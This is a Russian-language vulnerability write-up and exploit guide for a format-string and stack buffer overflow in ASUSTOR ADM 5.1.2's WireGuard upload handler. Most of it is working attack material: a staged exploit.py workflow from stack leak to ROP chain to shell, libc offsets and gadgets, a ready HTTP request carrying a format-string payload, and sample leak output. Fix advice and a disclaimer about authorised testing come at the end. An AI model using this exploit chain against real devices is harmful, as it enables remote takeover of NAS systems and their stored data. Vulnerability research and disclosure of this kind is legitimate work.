
ASUSTOR ADM 5.1.2 vpnupload.cgi: форматная строка и переполнение буфера стека, RCE (CVE-2026-6643)
| Поле | Значение |
|---|
| Продукт | ASUSTOR ADM (ASUSTOR Data Master) |
| Затронутая версия | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Компонент | /portal/apis/settings/vpnupload.cgi — действие upload_wireguard |
| Тип уязвимости | CWE-134 форматная строка / CWE-121 переполнение буфера стека |
| Критичность | Высокая |
| Требуется аутентификация | Да (действительный cookie Revive_Session) |
| Дата обнаружения | 2026-03-14 |
Обработчик upload_wireguard разбирает конфигурационный файл WireGuard, собирает поля в JSON-объект и затем передаёт результат напрямую в printf() в качестве аргумента форматной строки:
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // user-controlled format string
Злоумышленник может встроить спецификаторы формата printf в любое поле конфигурации WireGuard:
%x / %p — чтение памяти стека (утечка информации)%n — запись в произвольную память (выполнение кода через перезапись GOT)Этот же обработчик использует неограниченный sscanf("%s") для копирования значений конфигурации в 300-байтовые буферы стека, тогда как fgets принимает до 32 768 байт на строку:
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 8 fields total; only DNS has a length limit
Передача более 300 байт приводит к переполнению соседних буферов. При 4 000 байтах повреждается сохранённый RIP, что вызывает SIGSEGV.
| Защита | Статус | Влияние |
|---|---|---|
| FORTIFY_SOURCE | Отключена | printf (не __printf_chk) — запись %n работает |
| Canary стека | Отключён | Утечка canary не требуется |
| PIE | Отключён | Адреса GOT и гаджетов статичны |
| RELRO | Частичный | GOT доступен для записи |
Step 1 Format string %x → Leak stack memory, recover libc base
Step 2 Endpoint overflow → Overwrite saved RIP with one-gadget / system()
Step 3 execve("/bin/sh") → Shell as the web server user
local_164 (буфер Endpoint) расположен по адресу rbp-0x164 — ближе всех из восьми буферов к сохранённому обратному адресу:
Stack layout (Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← target
saved RBP rbp+0x000
saved RIP rbp+0x008 ← 0x164 + 8 = 364 bytes away
sscanf("%s") прекращает копирование на нулевом байте. Адрес libc (0x7f...) в little-endian заканчивается двумя нулевыми байтами. Однако два старших байта любого сохранённого RIP уже содержат 0x0000, поэтому запись выполняется корректно, даже если sscanf завершается раньше:
one_gadget address 0x00007f1234567890 (little-endian):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf stops here
but these bytes were already 0x00 → correct
Все промежуточные ROP-гаджеты также должны происходить из libc (диапазон 0x7f...), чтобы избежать встроенных нулевых байтов. Завершаться нулями может только последнее значение в цепочке.
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
Пример вывода:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
Пример вывода:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
Определите символ и вычислите базовый адрес libc:
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
Извлеките libc.so.6 из образа прошивки, затем выполните:
# system() offset
readelf -s libc.so.6 | grep -w system
# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget offsets
one_gadget libc.so.6 # gem install one_gadget
Обновите константы в exploit.py:
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
Примечание: Требуются две multipart-секции. Парсер использует счётчик границ; разбор через
sscanfактивируется только во второй секции.
Ответ (поле clientprivatekey):
AAAA_feebd19f_0000012b_0000007d_00000002
Установите PrivateKey размером 4 000 байт → SIGSEGV (код выхода 139).
| Уязвимость | Исправление |
|---|---|
| Форматная строка | Замените printf(pcVar2) на printf("%s", pcVar2) или fputs(pcVar2, stdout) |
| Переполнение буфера | Добавьте ограничения длины во все форматные строки sscanf (например, %299s для 300-байтовых буферов) |
X64_G3_5.1.2.REO1.img — vpnupload.cgi извлечён из образаld-linux и общие библиотеки прошивкиje → jmp по смещению 0x1224 (только для локального тестирования)Данный эксплойт предоставлен только для исследований в области безопасности и авторизованного тестирования. Не используйте его против систем без явного разрешения.